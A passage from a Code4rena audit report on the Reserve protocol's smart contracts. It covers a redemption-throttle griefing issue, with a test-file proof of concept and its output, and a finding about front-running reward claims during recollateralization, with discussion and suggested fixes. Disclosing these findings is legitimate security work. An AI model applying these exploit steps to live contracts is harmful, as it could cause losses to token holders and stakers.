+
+          let totalSupply =  await rToken.totalSupply();
+          let redemptionAvailable = await rToken.redemptionAvai
+          let issuanceAvailable = await rToken.issuanceAvailabl
+
+          console.log({redemptionAvailable, issuanceAvailable,
+
+          let toIssue = redemptionAvailable.mul(111111n).div(10
+          await rToken.connect(addr1).issue(toIssue);
+          await rToken.connect(addr1).redeem(toIssue, true);
+
+
+
+          redemptionAvailable = await rToken.redemptionAvailabl
+          issuanceAvailable = await rToken.issuanceAvailable();
+          console.log("after", {redemptionAvailable, issuanceAv
+          return;
+
+        });
+        return;
+
          it('Should update issuance throttle correctly on redemp
            const rechargePerBlock = config.issuanceThrottle.amtP

@@ -1335,6 +1360,7 @@ describe(`RTokenP${IMPLEMENTATION} contrac
       })
     })
   })
+  return;

   describe('Melt/Mint #fast', () => {
     const issueAmount: BigNumber = bn('100e18')
```

Output:

```
{
  redemptionAvailable: BigNumber { value: "10000000000000000000"
  issuanceAvailable: BigNumber { value: "10000000000000000000000
  totalSupply: BigNumber { value: "100000000000000000000" }
}
after {
  redemptionAvailable: BigNumber { value: "10000000000000" }, //
  issuanceAvailable: BigNumber { value: "10000000000000000000000
```

```
    }
```

Recommended Mitigation Steps

Mitigating this issue seems a bit tricky.

One way is at the end of `currentlyAvailable()` to return the max of `available` and `throttle.lastAvailable` (up to some limit, in order not to allow to much of it to accumulate).

HollaDieWaldfee (warden) commented:

> Seems valid but I have a doubt about this:
>
> rToken issuance uses rounding mode CEIL when calculating how much a user has to pay.
> rToken redemption uses rounding mode FLOOR when calculating how much a user receives.
>
> So I think there is a bit more cost involved than just gas and the attack needs to be renewed very often.
>
> Also: Might this be mitigated when the redemption limit is chosen significantly higher than the issuance limit?
> Because then when the attack must be renewed and `issue` is called, the redemption limit will be raised and not so much that it hits its limit.
> So the result on redemption limit after redemption is then 0.

tbrent (Reserve) confirmed

tbrent (Reserve) commented:

> @HollaDieWaldfee - that's a really nice mitigation! I think that's exactly the thing to do.

tbrent (Reserve) linked a PR:

> reserve-protocol/protocol#656

Attacker can cause loss to rToken holders and stakers by running `BackingManager._manageTokens` before rewards are claimed

Submitted by HollaDieWaldfee

Severity: Medium

Lines of code

https://github.com/reserve-protocol/protocol/blob/27a3472d553b4fa54f896596007765ec91941348/contracts/p1/BackingManager.sol#L105-L153

Impact

The assets that back the rTokens are held by the `BackingManager` and can earn rewards.

The rewards can be claimed via the `TradingP1.claimRewards` and `TradingP1.claimRewardsSingle` function.

The `BackingManager` inherits from `TradingP1` and therefore the above functions can be used to claim rewards.

The issue is that the `BackingManager` does not claim rewards as part of its `_manageTokens` function.

So recollateralization can occur before rewards have been claimed.

There exist possibilities how an attacker can exploit this to cause a loss to rToken holders and rsr stakers.

Proof of Concept

Let's think about an example for such a scenario:

Assume that the `RToken` is backed by a considerable amount of `TokenA`

`TokenA` earns rewards but not continuously. Bigger amounts of rewards are paid out periodically. Say 5% rewards every year.

Assume further that the `RToken` is currently undercollateralized.

The attacker can now front-run the claiming of rewards and perform recollateralization.

The recollateralization might now seize `rsr` from stakers or take an unnecessary haircut.

Tools Used

VSCode

Recommended Mitigation Steps

I suggest that the `BackingManager._manageTokens` function calls `claimRewards`. Even before it calculates how many baskets it holds:

```
diff --git a/contracts/p1/BackingManager.sol b/contracts/p1/Back
index fc38ce29..e17bb63d 100644
--- a/contracts/p1/BackingManager.sol
+++ b/contracts/p1/BackingManager.sol
@@ -113,6 +113,8 @@ contract BackingManagerP1 is TradingP1, IBac
         uint48 basketTimestamp = basketHandler.timestamp();
         if (block.timestamp < basketTimestamp + tradingDelay) r

+        this.claimRewards();
+
         uint192 basketsHeld = basketHandler.basketsHeldBy(addre

         // if (basketHandler.fullyCollateralized())
```

tbrent (Reserve) acknowledged and commented:

> `claimRewards()` can be pretty gas-intensive, so we'll have to see whether we decide this is worth doing or not. But nice find!

0xA5DF (warden) commented:

> `claimRewards()` can be pretty gas-intensive, so we'll have to see whether we decide this is worth doing or not. But nice find!

> Maybe instead you can require `claimRewards()` to be called within some time interval - mark the last time it was called using a storage variable and in `_manageTokens()` revert if more than that time interval has passed.

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top